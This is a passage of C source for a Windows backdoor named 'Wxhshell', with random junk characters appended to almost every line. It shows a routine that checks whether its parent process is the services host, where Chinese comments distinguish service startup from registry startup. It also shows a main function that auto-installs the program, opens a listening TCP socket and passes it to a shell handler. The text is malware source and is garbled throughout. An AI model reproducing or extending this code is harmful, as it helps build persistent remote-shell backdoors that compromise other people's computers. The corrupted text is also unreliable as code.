} PROCESS_BASIC_INFORMATION; 7Fa1utVI
3<a|_(K
PROCNTQSIP NtQueryInformationProcess; Esj1Vv#
KUq(&H7
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1Sns$t%b
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5HAAa I
<1~_nt~(*
HANDLE hProcess; &)!N5Veb
PROCESS_BASIC_INFORMATION pbi; h2+"e# _
8k Sb92
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Fb{HiU9<!
if(NULL == hInst ) return 0; [NGq$5
~/K'n
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _w5c-\-PUM
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9I1i(0q
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u~N'UD1x
1yc$b+TH
if (!NtQueryInformationProcess) return 0; `[_p,,}Ir
O `>u70
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v+d`J55
if(!hProcess) return 0; 8*]dAft
~Bt>Y
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >(W t
Z+Fh I^
CloseHandle(hProcess); ^w
jM u5f
ZZeF1y[q
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8tT/w5
if(hProcess==NULL) return 0; a7z%)i;Z
#J$z0%P
HMODULE hMod; 2d OUY
$4
char procName[255]; c8o2* C$
unsigned long cbNeeded; 3HndE~_C&
A(JgAV1{
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ige*tOv2
17ynFHMd,
CloseHandle(hProcess); gYw=Z_z
t1o_x}z4.
if(strstr(procName,"services")) return 1; // 以服务启动 )},/=#C0
o~'UWU'#
return 0; // 注册表启动 TI^X gl~
} n*eqM2L
cN:ek|r
// 主模块 1z8fhE iiE
int StartWxhshell(LPSTR lpCmdLine) *nY$YwHB
{ vPu{xy
SOCKET wsl; *,XT;h$'>
BOOL val=TRUE; B,{Q[
int port=0; W=!D[G R
struct sockaddr_in door; KC-@2,c9V
6[]O3Aa
if(wscfg.ws_autoins) Install(); -$f$z(h
|
Fk9ME
port=atoi(lpCmdLine); aw1f;&K4
)m10IyUAY
if(port<=0) port=wscfg.ws_port; YM +4:P2
.!g
WSADATA data; ,k6V?{ZA
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @9h6D<?
]nx5E_j2
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; #D8u#8Dz
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BHIC6i%
door.sin_family = AF_INET;
P{>-MT2E
door.sin_addr.s_addr = inet_addr("127.0.0.1"); $7&t`E)qY
door.sin_port = htons(port); l|
QQ
'X1/tB8*
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *> 7Zc
closesocket(wsl); Jgzg[6
return 1;
<Lfo5:.
} Qr*7bE(a
x@,B))WlGr
if(listen(wsl,2) == INVALID_SOCKET) { 0"xD>ue&
closesocket(wsl); zFO#oW,D
return 1; -ob1_0
} [7=?I.\Cr7
Wxhshell(wsl); E>x,$w<?
WSACleanup(); @DCw(.k*
=_9grF-
return 0; ;cW9NS3:
>I*uo.OF
} A&qZ:&(OM
&l